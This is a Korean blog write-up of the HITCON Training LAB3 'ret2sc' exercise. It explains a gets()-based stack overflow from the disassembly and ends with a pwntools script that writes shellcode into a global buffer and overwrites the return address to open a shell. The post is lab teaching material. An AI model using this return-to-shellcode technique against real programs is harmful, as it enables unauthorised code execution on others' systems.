LAB2를 건너 뛰고 LAB3입니다. LAB2는 Shellcode에 대한 문제인데 블로그엔 아직 Shellcode에 대한 내용을 포스팅하지 않고 바로 Return to Shellcode로 넘어왔기에 흐름상 LAB3가 맞다고 판단했습니다. LAB3 안에는 다양한 파일들이 있는데 가급적이면 ret2sc 바이너리만 갖고 문제를 분석하고 풀도록 하겠습니다. ret2sc.py는 답지니까 가급적 보지 않는것을 추천드립니다.
 바이너리를 실행해보면 Name을 입력받고 어떤 입력을 받은 뒤 바로 끝납니다. 일단 바로 pwndbg로 까보도록하죠.

 

Dump of assembler code for function main:
   0x080484cd <+0>:	push   ebp
   0x080484ce <+1>:	mov    ebp,esp
   0x080484d0 <+3>:	and    esp,0xfffffff0
   0x080484d3 <+6>:	sub    esp,0x30
   0x080484d6 <+9>:	mov    eax,ds:0x804a040
   0x080484db <+14>:	mov    DWORD PTR [esp+0xc],0x0
   0x080484e3 <+22>:	mov    DWORD PTR [esp+0x8],0x2
   0x080484eb <+30>:	mov    DWORD PTR [esp+0x4],0x0
   0x080484f3 <+38>:	mov    DWORD PTR [esp],eax
   0x080484f6 <+41>:	call   0x80483c0 <setvbuf@plt>
   0x080484fb <+46>:	mov    DWORD PTR [esp],0x80485d0
   0x08048502 <+53>:	call   0x8048380 <printf@plt>
   0x08048507 <+58>:	mov    DWORD PTR [esp+0x8],0x32
   0x0804850f <+66>:	mov    DWORD PTR [esp+0x4],0x804a060
   0x08048517 <+74>:	mov    DWORD PTR [esp],0x0
   0x0804851e <+81>:	call   0x8048370 <read@plt>
   0x08048523 <+86>:	mov    DWORD PTR [esp],0x80485d6
   0x0804852a <+93>:	call   0x8048380 <printf@plt>
   0x0804852f <+98>:	lea    eax,[esp+0x1c]
   0x08048533 <+102>:	mov    DWORD PTR [esp],eax
   0x08048536 <+105>:	call   0x8048390 <gets@plt>
   0x0804853b <+110>:	nop
   0x0804853c <+111>:	leave  
   0x0804853d <+112>:	ret    
End of assembler dump.

 

 main을 보면 setvbuf, printf, read, gets가 눈에 들어옵니다. 이 문제의 포인트는 gets 함수입니다. C/C++ 코딩 경험이 좀 있으신 분들은 아실지도 모르겠습니다만 gets함수의 경우 사용자 입력을 받는 함수입니다. 그리고 이게 문제의 포인트가 되는 이유는 gets함수는 입력 길이에 제한을 두지 않습니다. 예를들어 char a[30] 를 선언하고 gets(a)를 했을때 길이가 50짜리인 문자열을 입력할 경우 30byte까지는 a에 들어가지만 남는 값들은 전부 overflow 됩니다. 좀 더 정확한 분석을 위해 입력을 받는 부분인 read와 gets에 breakpoint를 걸고 진행해보겠습니다.

 

 

 read를 호출할때 넘어가는 인자값에 대해 간단하게 살펴보고 가자면 일단 사용자 입력을 받고(fd : 0x0), name이라는 변수에 넣어주며(buf : 0x804a060 (name)), 그 길이는 50byte입니다. (nbytes : 0x32 == 50) read함수와 file descryptor(fd)에 대해 한번 찾아보시면 바로 알 수 있는 내용입니다. 그럼 바로 gets로 넘어가보겠습니다.

 

 

 gets를 호출하는 부분을 보면 arg[0]~[3]까지 존재하는데 arg[1]~[3]은 이전에 read함수를 호출할때 남아 있던 인자값들이며 gets함수에 영향을 주지 않습니다. 단, arg[0]는 입력한 값들을 저장할 주소입니다. 일단 A를 4개 넣고 넘어갑니다.

 

 

 A 4개가 0xffffd13c에 잘 들어간것을 확인했습니다. 그리고 ebp의 주소를 확인해보니 0xffffd158입니다. 자 그럼 현재까지 모은 정보를 정리해보면 마음껏 쓸 수 있는 50Byte짜리 공간이 메모리 어딘가에 있고, 길이를 체크하지 않는 함수를 써서 입력 받는 함수가 있고, 입력값은 ebp와 0x1c(28)만큼 차이나는 곳에 저장이 됩니다. 그럼 대충 아래와 같은 방법이 먹히겠네요!

 

 

 

 실제로 이 방법이 먹히는지 테스트해보도록 하겠습니다. 아래는 제가 짠 python 코드입니다.

...더보기
from pwn import *

p = process("./ret2sc")
name = 0x804a060
shellcode=asm(shellcraft.sh())
p.recvuntil(":")
p.sendline(shellcode)
p.recvuntil(":")

payload="A"*28+"B"*4+p32(name)
p.sendline(payload)
p.interactive()

끝!

'Pwnable > HITCON Training' 카테고리의 다른 글

[HITCON Training] LAB1 sysmagic  (0) 2019.08.03

+ Recent posts